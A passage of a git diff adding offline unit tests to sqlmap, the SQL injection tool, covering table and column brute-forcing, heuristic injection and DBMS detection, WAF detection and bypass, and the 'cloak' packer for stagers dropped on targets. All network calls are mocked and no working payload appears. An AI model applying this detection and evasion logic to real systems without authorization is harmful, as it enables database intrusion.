+ ba = _make_spilled() + ref = ["item-%d" % i for i in range(N)] + # mutate elements spread across several different on-disk chunks + for i in (0, 1, 499, 500, 2500, N - 1): + ba[i] = ref[i] = "EDIT-%d" % i + try: + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], ref[i], msg="readback ba[%d]" % i) + self.assertEqual(list(ba), ref) # full independent traversal agrees + finally: + ba.close() + + def test_dirty_edit_survives_pickle(self): + ba = _make_spilled() + ba[10] = "EDITED-LOW" + ba[N - 10] = "EDITED-HIGH" + restored = pickle.loads(pickle.dumps(ba)) + try: + self.assertEqual(restored[10], "EDITED-LOW") + self.assertEqual(restored[N - 10], "EDITED-HIGH") + finally: + restored.close() + ba.close() + + def test_pop_then_append_then_direct_read(self): + # Regression: pop() reloads the last on-disk chunk into memory and deletes its + # file, but a non-dirty cache entry still pointing at that chunk index was left + # in place. A later append that re-dumps the chunk index then made the stale + # cache serve outdated data on a direct __getitem__ (silent data corruption). + ref = ["item-%d" % i for i in range(N)] + ba = _make_spilled() + try: + cl = ba.chunk_length + last = len(ba.chunks) - 2 # last on-disk chunk (tail is the in-memory list) + base = last * cl + + ba[base] # populate cache at idx=last, NOT dirty + + while len(ba) > base + 1: # pop() reloads chunk 'last' from disk, removes its file + ba.pop() + ref.pop() + + for i in range(cl): # re-dump chunk 'last' to a brand new temp file + value = "NEW-%d" % i + ba.append(value) + ref.append(value) + + # direct access to the re-dumped chunk, with no prior read to refresh the cache + for off in range(cl): + self.assertEqual(ba[base + off], ref[base + off], msg="offset %d" % off) + finally: + ba.close() + + +class TestInMemorySmall(unittest.TestCase): + def test_no_spill_for_small(self): + ba = BigArray([1, 2, 3]) + self.assertEqual(len(ba), 3) + self.assertEqual(list(ba), [1, 2, 3]) + # the actual point of this test (the name promised it): a tiny array stays in ONE + # in-memory chunk and never touches disk + self.assertEqual(len(ba.chunks), 1, msg="small array unexpectedly spilled: %r" % (ba.chunks,)) + self.assertFalse(any(isinstance(c, str) for c in ba.chunks), msg="small array wrote a disk chunk") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_brute.py b/tests/test_brute.py new file mode 100644 index 00000000000..c13395978d5 --- /dev/null +++ b/tests/test_brute.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for lib/utils/brute.py. + +tableExists / columnExists are driven with conf.direct=True and the external +collaborators (inject.checkBooleanExpression, getFileItems, runThreads, +getPageWordSet) monkeypatched so the check runs synchronously, deterministically +and offline; plus _addPageTextWords. + +Any global conf/kb/Backend state that a call reads or writes is snapshotted in +setUp and restored in tearDown so test ordering is irrelevant. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import DBMS + +import lib.utils.brute as brute +from lib.request import inject + + +class DbmsStateMixin(object): + """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" + + def setUp(self): + self._forcedDbms = kb.forcedDbms + self._sticky = kb.stickyDBMS + self._batch = conf.batch + conf.batch = True + + def tearDown(self): + kb.forcedDbms = self._forcedDbms + kb.stickyDBMS = self._sticky + conf.batch = self._batch + + +class TestBrute(DbmsStateMixin, unittest.TestCase): + """Drive tableExists / columnExists with all external collaborators stubbed. + + conf.direct=True skips the time/stacked recommendation prompt. checkBooleanExpression, + getFileItems and runThreads are monkeypatched so the check runs synchronously, + deterministically and offline. getPageWordSet is neutralized so the wordlist is + just what the stub returns. + """ + + def setUp(self): + DbmsStateMixin.setUp(self) + self._saved_conf = {k: conf.get(k) for k in + ("direct", "db", "tbl", "threads", "api", "verbose")} + self._choices = kb.choices + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._brute = kb.brute + self._origPage = kb.originalPage + + # stub the collaborators + self._orig_cbe = inject.checkBooleanExpression + self._orig_brute_cbe = brute.inject.checkBooleanExpression + self._orig_getFileItems = brute.getFileItems + self._orig_runThreads = brute.runThreads + self._orig_getPageWordSet = brute.getPageWordSet + + from lib.core.datatype import AttribDict + kb.choices = AttribDict(keycheck=False) + kb.choices.tableExists = None + kb.choices.columnExists = None + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.brute = AttribDict({"tables": [], "columns": []}) + kb.originalPage = None + + conf.direct = True + conf.db = None + conf.threads = 1 + conf.api = False + conf.verbose = 0 + + # runThreads -> just call the worker once synchronously + def _fakeRunThreads(numThreads, threadFunction, *args, **kwargs): + kb.threadContinue = True + threadFunction() + brute.runThreads = _fakeRunThreads + # no page words injected into the wordlist + brute.getPageWordSet = lambda page: set() + # wordlist file -> small fixed list + brute.getFileItems = lambda *a, **k: ["users", "logs", "secret_t"] + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + kb.choices = self._choices + if self._cachedTables is None: + kb.data.pop("cachedTables", None) + else: + kb.data.cachedTables = self._cachedTables + if self._cachedColumns is None: + kb.data.pop("cachedColumns", None) + else: + kb.data.cachedColumns = self._cachedColumns + kb.brute = self._brute + kb.originalPage = self._origPage + brute.inject.checkBooleanExpression = self._orig_brute_cbe + brute.getFileItems = self._orig_getFileItems + brute.runThreads = self._orig_runThreads + brute.getPageWordSet = self._orig_getPageWordSet + DbmsStateMixin.tearDown(self) + + def test_table_exists_collects_true_results(self): + set_dbms(DBMS.MYSQL) + + def _cbe(expression, expectingNone=True): + # initial sanity probe (random table) -> must be False, otherwise the + # function raises SqlmapDataException; then only "users" exists. + return "users" in expression + brute.inject.checkBooleanExpression = _cbe + + result = brute.tableExists("/nonexistent/tables.txt") + # cachedTables keyed by conf.db (None here) holds the discovered table + self.assertIn(None, result) + self.assertIn("users", result[None]) + self.assertNotIn("logs", result.get(None, [])) + # also recorded in kb.brute.tables as (db, table) + self.assertIn((None, "users"), kb.brute.tables) + + def test_table_exists_invalid_results_raises(self): + from lib.core.exception import SqlmapDataException + set_dbms(DBMS.MYSQL) + # the initial random-table probe returns True -> "invalid results" guard + brute.inject.checkBooleanExpression = lambda *a, **k: True + with self.assertRaises(SqlmapDataException): + brute.tableExists("/nonexistent/tables.txt") + + def test_column_exists_requires_table(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms(DBMS.MYSQL) + conf.tbl = None + # the sanity probe is False so we reach the missing-table guard + brute.inject.checkBooleanExpression = lambda *a, **k: False + with self.assertRaises(SqlmapMissingMandatoryOptionException): + brute.columnExists("/nonexistent/columns.txt") + + def test_column_exists_collects_and_types(self): + set_dbms(DBMS.MYSQL) + conf.tbl = "users" + brute.getFileItems = lambda *a, **k: ["id", "name"] + + calls = {"n": 0} + + def _cbe(expression, expectingNone=True): + calls["n"] += 1 + # initial sanity probe uses two random strings (no real column name) + if "id" not in expression and "name" not in expression: + return False + # MySQL numeric-type follow-up: `not checkBooleanExpression(... REGEXP '[^0-9]')`. + # 'id' is numeric (no non-digit chars => probe False => numeric); + # 'name' is non-numeric (has non-digit chars => probe True => non-numeric). + if "REGEXP" in expression: + return "name" in expression + # plain existence check (EXISTS(SELECT <col> FROM <tbl>)) => both columns exist + return True + brute.inject.checkBooleanExpression = _cbe + + result = brute.columnExists("/nonexistent/columns.txt") + self.assertIn(None, result) + cols = result[None]["users"] + # column names are run through safeSQLIdentificatorNaming, so the MySQL + # reserved word "name" comes back backtick-quoted + from lib.core.common import safeSQLIdentificatorNaming, getText + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("id"))), "numeric") + self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("name"))), "non-numeric") + + def test_add_page_text_words_filters(self): + # restore the real getPageWordSet for this one and drive it directly + brute.getPageWordSet = self._orig_getPageWordSet + kb.originalPage = u"<html>admin password 1abc xy verylongword</html>" + words = brute._addPageTextWords() + # words <= 2 chars or starting with a digit are dropped + self.assertIn("admin", words) + self.assertIn("password", words) + self.assertNotIn("xy", words) + self.assertNotIn("1abc", words) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_charset.py b/tests/test_charset.py new file mode 100644 index 00000000000..b7930bee061 --- /dev/null +++ b/tests/test_charset.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Response charset / meta detection and parameter parsing. + +checkCharEncoding canonicalizes the encoding sqlmap will decode a page with; +META_CHARSET_REGEX / HTML_TITLE_REGEX / META_REFRESH_REGEX pull structural hints +out of the body; paramToDict splits the parameters sqlmap will inject into. +These feed decodePage and the comparison engine, so the canonical/None results +are pinned here. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import checkCharEncoding +from lib.core.common import extractRegexResult, paramToDict +from lib.core.enums import PLACE +from lib.core.settings import META_CHARSET_REGEX, HTML_TITLE_REGEX, META_REFRESH_REGEX + + +class TestCheckCharEncoding(unittest.TestCase): + def test_canonical_known(self): + for enc in ("utf-8", "windows-1252", "iso-8859-1", "ascii", "latin1"): + self.assertEqual(checkCharEncoding(enc, False), enc, msg="checkCharEncoding(%r)" % enc) + + def test_normalizes_aliases(self): + self.assertEqual(checkCharEncoding("UTF8", False), "utf8") + self.assertEqual(checkCharEncoding("us-ascii", False), "ascii") + + def test_unknown_is_none(self): + self.assertIsNone(checkCharEncoding("boguscharset123", False)) + + def test_none_is_none(self): + self.assertIsNone(checkCharEncoding(None, False)) + + +class TestBodyHints(unittest.TestCase): + def test_meta_charset(self): + self.assertEqual(extractRegexResult(META_CHARSET_REGEX, '<head><meta charset="utf-8"></head>'), "utf-8") + + def test_title(self): + self.assertEqual(extractRegexResult(HTML_TITLE_REGEX, "<title>Login Page"), "Login Page") + + def test_meta_refresh_url(self): + self.assertEqual(extractRegexResult(META_REFRESH_REGEX, + ''), "/next") + + def test_no_match_is_none(self): + self.assertIsNone(extractRegexResult(HTML_TITLE_REGEX, "no title here")) + + +class TestParamToDict(unittest.TestCase): + # NOTE: GET parsing is covered in test_urls.py; here we only cover the COOKIE place, + # which uses a different (semicolon) delimiter and is a distinct code path. + def test_cookie_semicolon_delimited(self): + d = paramToDict(PLACE.COOKIE, "sid=abc; theme=dark") + self.assertEqual(d.get("sid"), "abc") + self.assertEqual(d.get("theme"), "dark") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_checks.py b/tests/test_checks.py new file mode 100644 index 00000000000..54988ac5817 --- /dev/null +++ b/tests/test_checks.py @@ -0,0 +1,505 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for lib/controller/checks.py driven with a MOCKED HTTP layer. + +checks.py is the injection-detection controller; almost everything in it goes +through the network seam (lib.request.connect.Connect, imported into the module +as `Request`). By monkeypatching `Request.queryPage` / `Request.getPage` to +return canned (page, headers/ratio, code) tuples - and stubbing `agent.payload` +where the real payload machinery would require a fully-built target - the +decision logic of each check (the kb.*/conf.*/return-value verdict) can be +exercised offline, without a live target, DBMS, or DNS. + +Every test snapshots and restores the conf/kb fields it touches AND every +module attribute it monkeypatches, so ordering between tests (and with the rest +of the suite) is irrelevant. conf.batch is forced on to avoid interactive +prompts, and readInput is stubbed per-test where a branch would prompt. +""" + +import os +import re +import sys +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.controller.checks as checks +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict, InjectionDict +from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import DBMS +from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.enums import NULLCONNECTION +from lib.core.enums import PLACE +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.core.common import getCurrentThreadData +from lib.parse.html import htmlParser + + +# conf/kb fields any of the checks read or write; snapshotted wholesale so a +# test never leaks state into another test or the rest of the suite. +_CONF_KEYS = ( + "paramDict", "parameters", "url", "hostname", "method", "skipHeuristics", + "prefix", "suffix", "nosql", "graphql", "ldap", "xpath", "ssti", "beep", "string", + "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", + "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", + "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", + "ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles", +) +_KB_KEYS = ( + "pageTemplate", "negativeLogic", + "heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime", + "originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding", + "heuristicTest", "heuristicPage", "heuristicCode", "pageStable", + "nullConnection", "pageCompress", "matchRatio", "skipSeqMatcher", + "choices", "injection", "errorIsNone", "serverHeader", "identifiedWafs", + "tamperFunctions", "resendPostOnRedirect", "checkWafMode", "wafBypass", + "heuristicExtendedDbms", "resumeValues", "mergeCookies", "httpErrorCodes", +) + + +def _snapshot(): + return ( + dict((k, conf.get(k)) for k in _CONF_KEYS), + dict((k, kb.get(k)) for k in _KB_KEYS), + ) + + +def _restore(snap): + confSnap, kbSnap = snap + for k, v in confSnap.items(): + conf[k] = v + for k, v in kbSnap.items(): + kb[k] = v + + +class _ChecksTestBase(unittest.TestCase): + """Snapshots conf/kb and the patchable seams; restores them in tearDown.""" + + def setUp(self): + self._snap = _snapshot() + # remember the real seams so monkeypatches can't leak. agent.payload / + # addPayloadDelimiters are class methods on a shared singleton: patching + # sets an *instance* attribute, so it's restored by deleting that + # attribute (reassigning would leave a stale bound method behind). + self._origQueryPage = checks.Request.queryPage + self._origGetPage = checks.Request.getPage + self._agentHadPayload = "payload" in checks.agent.__dict__ + self._agentHadAddDelims = "addPayloadDelimiters" in checks.agent.__dict__ + self._origReadInput = checks.readInput + self._origDbmsErr = checks.wasLastResponseDBMSError + self._origHttpErr = checks.wasLastResponseHTTPError + self._origCBE = checks.checkBooleanExpression + + # sane offline baseline shared by most checks + conf.batch = True + conf.skipHeuristics = False + conf.prefix = conf.suffix = None + conf.hashDB = None + conf.dummy = conf.offline = conf.proxy = conf.tor = None + kb.choices = AttribDict(keycheck=False) + + def tearDown(self): + checks.Request.queryPage = self._origQueryPage + checks.Request.getPage = self._origGetPage + if not self._agentHadPayload and "payload" in checks.agent.__dict__: + del checks.agent.payload + if not self._agentHadAddDelims and "addPayloadDelimiters" in checks.agent.__dict__: + del checks.agent.addPayloadDelimiters + checks.readInput = self._origReadInput + checks.wasLastResponseDBMSError = self._origDbmsErr + checks.wasLastResponseHTTPError = self._origHttpErr + checks.checkBooleanExpression = self._origCBE + _restore(self._snap) + + # --- helpers --- + + def _patchQueryPage(self, fn): + checks.Request.queryPage = staticmethod(fn) + + def _patchGetPage(self, fn): + checks.Request.getPage = staticmethod(fn) + + @staticmethod + def _contentQuery(page, code=200, headers=None): + """A queryPage that returns (page, headers/ratio, code) when content is + requested and a plain truthiness otherwise.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _detectingContentQuery(page, code=200, headers=None): + """Like _contentQuery, but mirrors the real connection layer's + error-detection seam: it advances the request UID and runs the REAL + htmlParser() over the page (exactly as Connect.getPage() does), so the + page is classified by sqlmap's genuine error regexes. The unstubbed + wasLastResponseDBMSError() then reads the threadData.lastErrorPage this + leaves behind - the heuristic verdict is the detector's, not the stub's.""" + def _fn(*args, **kwargs): + threadData = getCurrentThreadData() + kb.requestCounter = (kb.get("requestCounter") or 0) + 1 + threadData.lastRequestUID = kb.requestCounter + htmlParser(page or "") + if kwargs.get("content"): + return (page, headers, code) + return bool(page) + return _fn + + @staticmethod + def _comparingQuery(page, code=200, headers=None): + """A queryPage that, for a non-content request, runs the REAL + comparison() engine of the injected page against kb.pageTemplate (the + same call Connect.queryPage makes for its True/False verdict). The + matchRatio/seqMatcher dynamicity logic therefore actually executes - + the verdict is computed, not hard-coded.""" + def _fn(*args, **kwargs): + if kwargs.get("content"): + return (page, headers, code) + return checks.comparison(page, headers, code, getRatioValue=False) + return _fn + + +class TestHeuristicCheckSqlInjection(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckSqlInjection, self).setUp() + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.parameters = {PLACE.GET: "id=1"} + conf.url = "http://test.invalid/index.php?id=1" + conf.method = None + conf.nosql = conf.graphql = conf.ldap = conf.xpath = conf.ssti = False + conf.beep = False + kb.heavilyDynamic = False + kb.dynamicParameter = False + kb.originalPage = "" + kb.ignoreCasted = False + # clear any error-page marker left by an earlier request so the real + # wasLastResponseDBMSError() starts from a clean slate + td = getCurrentThreadData() + td.lastErrorPage = tuple() + td.lastRequestUID = 0 + # bypass the full payload-building machinery (needs a built target) + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + + def test_skip_heuristics_returns_none(self): + conf.skipHeuristics = True + self.assertIsNone(checks.heuristicCheckSqlInjection(PLACE.GET, "id")) + + def test_positive_on_dbms_error(self): + # Feed a GENUINE MySQL error page (matches sqlmap's real error regex in + # data/xml/errors.xml) through the detecting stub and let the UNSTUBBED + # wasLastResponseDBMSError() classify it. The POSITIVE verdict is then + # the real detector's, not a hard-coded True. + page = ("You have an error in your SQL syntax; check the " + "manual that corresponds to your MySQL server version") + self._patchQueryPage(self._detectingContentQuery(page)) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.POSITIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.POSITIVE) + + def test_negative_on_clean_page(self): + # A clean page matches none of sqlmap's error regexes, so the unstubbed + # wasLastResponseDBMSError() returns false -> NEGATIVE verdict. + self._patchQueryPage(self._detectingContentQuery("a perfectly ordinary page")) + result = checks.heuristicCheckSqlInjection(PLACE.GET, "id") + self.assertEqual(result, HEURISTIC_TEST.NEGATIVE) + self.assertEqual(kb.heuristicTest, HEURISTIC_TEST.NEGATIVE) + + def test_records_page_and_resets_mode(self): + self._patchQueryPage(self._detectingContentQuery("nothing special here")) + checks.heuristicCheckSqlInjection(PLACE.GET, "id") + # mode flags must be flipped back off after the check + self.assertFalse(kb.heuristicMode) + self.assertFalse(kb.disableHtmlDecoding) + + +class TestHeuristicCheckDbms(_ChecksTestBase): + def setUp(self): + super(TestHeuristicCheckDbms, self).setUp() + kb.injection = InjectionDict() + + def test_skip_heuristics_returns_false(self): + conf.skipHeuristics = True + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_no_match_when_all_expressions_false(self): + checks.checkBooleanExpression = lambda expr: False + self.assertFalse(checks.heuristicCheckDbms(InjectionDict())) + + def test_identifies_dbms_on_distinguishing_pair(self): + # An expr-AWARE oracle that recognises ONLY the predicate + # heuristicCheckDbms() builds for one CHOSEN target DBMS. The function + # iterates every DBMS, forging for each the pair + # positive: (SELECT '')= -> must be True + # negative: (SELECT '')= -> must be False + # ( == SINGLE_QUOTE_MARKER, r1 != r2). The DBMS is reported only when + # the positive holds AND the negative fails. The oracle below returns + # True exactly for that shape - it keys off the chosen DBMS's UNIQUE + # FROM clause (so no other DBMS's predicate matches) and off the two + # quoted literals being equal (so the "must differ" negative is False). + # Firebird is chosen because its FROM clause (' FROM RDB$DATABASE') is + # unique in FROM_DUMMY_TABLE and it is not a HEURISTIC_NULL_EVAL DBMS, + # so heuristicCheckDbms() takes the SELECT-literal predicate path for it. + target = DBMS.FIREBIRD + targetFrom = FROM_DUMMY_TABLE[target] + predicate = re.compile( + r"\(SELECT '([^']*)'( FROM [^)]*)?\)=" + + re.escape(SINGLE_QUOTE_MARKER) + r"(.*?)" + re.escape(SINGLE_QUOTE_MARKER) + ) + + def oracle(expr): + match = predicate.search(expr) + if not match: + return False + selected, fromClause, compared = match.group(1), match.group(2) or "", match.group(3) + # True only for the target DBMS's FROM clause with matching literals + return fromClause == targetFrom and selected == compared + + checks.checkBooleanExpression = oracle + result = checks.heuristicCheckDbms(InjectionDict()) + # real predicate matching must single out the chosen DBMS, not whatever + # getPublicTypeMembers() happens to yield first + self.assertEqual(result, target) + self.assertEqual(kb.heuristicExtendedDbms, target) + + +class TestCheckDynParam(_ChecksTestBase): + # A stable baseline page that checkDynParam's injected response is compared + # against by the REAL comparison() engine. Long enough that difflib's + # quick_ratio is meaningful rather than degenerate. + _BASELINE = ("Welcome" + + "the quick brown fox jumps over the lazy dog. " * 20 + + "") + + def setUp(self): + super(TestCheckDynParam, self).setUp() + conf.method = None + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + # state the real comparison() engine reads + conf.string = conf.notString = conf.regexp = conf.code = None + conf.titles = conf.textOnly = False + kb.nullConnection = False + kb.heavilyDynamic = False + kb.skipSeqMatcher = False + kb.errorIsNone = False + kb.negativeLogic = False + kb.pageCompress = False + kb.matchRatio = None + kb.pageTemplate = self._BASELINE + + def test_redirect_short_circuits(self): + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkDynParam(PLACE.GET, "id", "1")) + + def test_dynamic_when_page_differs(self): + # A response wildly different from the baseline drives the real + # comparison() ratio below LOWER_RATIO_BOUND -> queryPage returns False + # (page differs) -> parameter is dynamic. + self._patchQueryPage(self._comparingQuery("totally unrelated content " + "Z" * 200)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertTrue(result) + self.assertTrue(kb.dynamicParameter) + + def test_not_dynamic_when_page_same(self): + # An identical response yields ratio 1.0 (> UPPER_RATIO_BOUND) from the + # real comparison() -> queryPage returns True (page same) -> not dynamic. + self._patchQueryPage(self._comparingQuery(self._BASELINE)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertFalse(result) + self.assertFalse(kb.dynamicParameter) + + +class TestCheckDynamicContent(_ChecksTestBase): + def setUp(self): + super(TestCheckDynamicContent, self).setUp() + kb.nullConnection = False + + def test_null_connection_skips(self): + kb.nullConnection = NULLCONNECTION.HEAD + self.assertIsNone(checks.checkDynamicContent("a", "b")) + + def test_missing_page_aborts(self): + self.assertIsNone(checks.checkDynamicContent(None, "x")) + + def test_identical_pages_no_dynamicity(self): + # high ratio -> no dynamic-content engine, no further requests + self._patchQueryPage(lambda *a, **kw: self.fail("should not request")) + self.assertIsNone(checks.checkDynamicContent("identical content", "identical content")) + + +class TestCheckStability(_ChecksTestBase): + def setUp(self): + super(TestCheckStability, self).setUp() + kb.originalPageTime = time.time() + kb.nullConnection = False + + def test_stable_when_pages_match(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + self.assertTrue(checks.checkStability()) + self.assertTrue(kb.pageStable) + + def test_redirect_returns_none(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkStability()) + + def test_unstable_continue_choice(self): + kb.originalPage = "FIRST PAGE CONTENT" + conf.retries = 0 + kb.heavilyDynamic = False + checks.readInput = lambda *a, **kw: "C" + + def _q(*a, **kw): + if kw.get("content"): + return ("SECOND DIFFERENT PAGE", None, 200) + return True # keeps checkDynamicContent's retry loop from firing + self._patchQueryPage(_q) + + result = checks.checkStability() + self.assertFalse(result) + self.assertFalse(kb.pageStable) + + def test_unstable_string_choice_sets_conf_string(self): + kb.originalPage = "FIRST" + self._patchQueryPage(self._contentQuery("SECOND")) + replies = iter(["S", "MATCHME"]) + checks.readInput = lambda *a, **kw: next(replies) + checks.checkStability() + self.assertEqual(conf.string, "MATCHME") + + +class TestCheckNullConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckNullConnection, self).setUp() + conf.data = None + kb.pageCompress = False + kb.nullConnection = None + + def test_post_data_disables_null_connection(self): + conf.data = "a=b" + self.assertFalse(checks.checkNullConnection()) + + def test_head_content_length(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {HTTP_HEADER.CONTENT_LENGTH: "1234"}, 200) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.HEAD) + + def test_range_content_range(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {}, 200) # no Content-Length on HEAD + if kw.get("auxHeaders"): + return ("A", {HTTP_HEADER.CONTENT_RANGE: "bytes 0-0/100"}, 206) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.RANGE) + + def test_not_supported(self): + # nothing usable on any method -> nullConnection ends up False + self._patchGetPage(lambda *a, **kw: ("xx", {}, 200)) + self.assertFalse(checks.checkNullConnection()) + self.assertFalse(kb.nullConnection) + + +class TestCheckConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckConnection, self).setUp() + conf.hostname = "1.2.3.4" # dotted-quad -> no DNS resolution + conf.string = conf.regexp = None + conf.cj = None + conf.ignoreCode = None + kb.httpErrorCodes = {} + checks.wasLastResponseHTTPError = lambda: False + checks.wasLastResponseDBMSError = lambda: False + td = getCurrentThreadData() + td.lastPage = "PAGE CONTENT" + td.lastCode = 200 + + class _Headers(object): + headers = "Server: test\r\n" + + def test_success_sets_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("PAGE CONTENT", self._Headers(), 200)) + self.assertTrue(checks.checkConnection()) + self.assertTrue(kb.errorIsNone) + self.assertEqual(kb.originalPage, "PAGE CONTENT") + + def test_dbms_error_clears_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("oops SQL error", self._Headers(), 200)) + checks.wasLastResponseDBMSError = lambda: True + self.assertTrue(checks.checkConnection()) + self.assertFalse(kb.errorIsNone) + + def test_string_not_in_response_still_continues(self): + conf.string = "NEEDLE-NOT-PRESENT" + self._patchQueryPage(lambda *a, **kw: ("haystack only", self._Headers(), 200)) + # warns but carries on (returns True) + self.assertTrue(checks.checkConnection()) + + +class TestCheckWaf(_ChecksTestBase): + def setUp(self): + super(TestCheckWaf, self).setUp() + conf.string = conf.notString = conf.regexp = None + conf.dummy = conf.offline = conf.skipWaf = None + kb.originalCode = 200 + kb.originalPage = "page" + conf.parameters = {PLACE.GET: "id=1"} + kb.resendPostOnRedirect = False + conf.timeout = 30 + kb.identifiedWafs = [] + conf.tamper = None + kb.tamperFunctions = [] + checks.agent.addPayloadDelimiters = lambda v: v + + def test_skips_when_string_set(self): + conf.string = "x" + self.assertIsNone(checks.checkWaf()) + + def test_not_detected_on_high_ratio(self): + # queryPage()[1] is the ratio; high ratio -> not blocked + self._patchQueryPage(lambda *a, **kw: ("ok", 0.9, 200)) + self.assertFalse(checks.checkWaf()) + + def test_detected_on_low_ratio(self): + self._patchQueryPage(lambda *a, **kw: ("blocked", 0.1, 403)) + checks.readInput = lambda *a, **kw: True # continue + accept bypass + import lib.utils.wafbypass as wafbypass + orig = wafbypass.neutralizeFingerprint + wafbypass.neutralizeFingerprint = lambda: None + try: + self.assertTrue(checks.checkWaf()) + finally: + wafbypass.neutralizeFingerprint = orig + + +class TestCheckInternet(_ChecksTestBase): + def test_internet_available(self): + self._patchGetPage(lambda *a, **kw: ("ok", None, checks.CHECK_INTERNET_CODE)) + self.assertTrue(checks.checkInternet()) + + def test_internet_unavailable(self): + self._patchGetPage(lambda *a, **kw: ("captive portal", None, 500)) + self.assertFalse(checks.checkInternet()) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_cloak.py b/tests/test_cloak.py new file mode 100644 index 00000000000..512f5dbcec3 --- /dev/null +++ b/tests/test_cloak.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +cloak / decloak (extra/cloak/cloak.py) - the zlib+XOR transform used to pack the +payload stager files (.py_) that sqlmap drops and unpacks on a target during +takeover/file-write. A broken round-trip here corrupts every deployed stager. + +decloak(cloak(x)) must be the identity for arbitrary bytes; pinned with known +vectors and a property sweep over random binary inputs. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +# cloak ships under extra/cloak (build-time + runtime stager packer) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "extra", "cloak")) +import cloak as C + +RND = random.Random(1234) + + +def _rand_bytes(n): + return bytes(bytearray(RND.randint(0, 255) for _ in range(n))) + + +class TestCloakRoundTrip(unittest.TestCase): + def test_known_payload(self): + data = b"print('stager')" + self.assertEqual(C.decloak(data=C.cloak(data=data)), data) + + def test_empty(self): + self.assertEqual(C.decloak(data=C.cloak(data=b"")), b"") + + def test_cloak_changes_bytes(self): + # cloak must actually transform (compress+xor), not pass through + data = b"A" * 64 + self.assertNotEqual(C.cloak(data=data), data) + + def test_cloak_compresses_compressible_input(self): + # highly-repetitive input must come out SMALLER (proves zlib is actually applied, + # not just an XOR-only obfuscation). NOTE: random/incompressible data would grow, + # so this assertion is only valid for compressible input. + data = b"A" * 1000 + self.assertLess(len(C.cloak(data=data)), len(data)) + + def test_property_random_binary(self): + for _ in range(500): + data = _rand_bytes(RND.randint(0, 200)) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed for %r" % 